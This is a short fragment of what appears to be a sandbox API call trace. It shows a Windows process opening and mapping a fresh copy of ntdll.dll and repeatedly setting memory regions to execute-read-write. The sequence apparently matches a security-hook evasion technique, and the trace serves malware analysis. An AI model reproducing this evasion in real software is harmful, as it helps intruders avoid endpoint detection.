RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows\\SysWOW64\\ntdll.dll", NtPathName=0x3bf9c0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows\\SysWOW64\\ntdll.dll", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0167.353] NtCreateFile (in: FileHandle=0x3bf9e0, DesiredAccess=0x1200a0, ObjectAttributes=0x3bf9a8*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Windows\\SysWOW64\\ntdll.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x3bf9c8, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x3bf9e0*=0x58, IoStatusBlock=0x3bf9c8*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.364] NtCreateSection (in: SectionHandle=0x3bf948, DesiredAccess=0xf, ObjectAttributes=0x0, MaximumSize=0x0, SectionPageProtection=0x10, AllocationAttributes=0x1000000, FileHandle=0x58 | out: SectionHandle=0x3bf948*=0x5c) returned 0x0 [0167.367] NtMapViewOfSection (in: SectionHandle=0x5c, ProcessHandle=0xffffffff, BaseAddress=0x3bf944*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x3bf940*=0x0, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x3bf944*=0x28b0000, SectionOffset=0x0, ViewSize=0x3bf940*=0x180000) returned 0x40000003 [0167.369] NtClose (Handle=0x58) returned 0x0 [0167.369] NtClose (Handle=0x5c) returned 0x0 [0167.372] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x3bf9f8*=0x28b0000, NumberOfBytesToProtect=0x3bfa08, NewAccessProtection=0x40, OldAccessProtection=0x3bf9f4 | out: BaseAddress=0x3bf9f8*=0x28b0000, NumberOfBytesToProtect=0x3bfa08, OldAccessProtection=0x3bf9f4*=0x2) returned 0x0 [0167.372] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x3bf9ec*=0x28c0000, NumberOfBytesToProtect=0x3bf9f0, NewAccessProtection=0x40, OldAccessProtection=0x3bf9f4 | out: BaseAddress=0x3bf9ec*=0x28c0000, NumberOfBytesToProtect=0x3bf9f0, OldAccessProtection=0x3bf9f4*=0x20) returned 0x0 [0167.374] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x3bf9ec*=0x29a0000, NumberOfBytesToProtect=0x3bf9f0, NewAccessProtection=0x40, OldAccessProtection=0x3bf9f4 | out: BaseAddress=0x3bf9ec*=0x29a0000, NumberOfBytesToProtect=0x3bf9f0, OldAccessProtection=0x3bf9f4*=0x20) returned 0x0 [0167.374] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x3bf9ec*=0x29b0000, NumberOfBytesToProtect=0x3bf9f0, NewAccessProtection=0x40, OldAccessProtection=0x3bf9f4 | out: BaseAddress=0x3bf9ec*=0x29b0000, NumberOfBytesToProtect=0x3bf9f0, OldAccessProtection=0x3bf9f4*=0x8) returned 0x0 [0167.374] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x3bf9ec*=0x29c0000, NumberOfBytesToProtect=0x3bf9f0, NewAccessProtection=0x40, OldAccessProtection=0x3bf9f4 | out: BaseAddress=0x3bf9ec*=0x29c0000, NumberOfBytesToProtect=0x3bf9f0, OldAccessProtection=0x3bf9f4*=0x2) returned 0x0 [0167.375] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x3bf9ec*=0x2a20000, NumberOfBytesToProtect=0x3bf9f0, NewAccessProtection=0x40, OldAccessProtection=0x3bf9f4 | out: BaseAddress=0x3bf9ec*=0x2a20000, NumberOfBytesToProtect=0x3bf9f0, OldAccessProtection=0x3bf9f4*=0x2) returned 0x0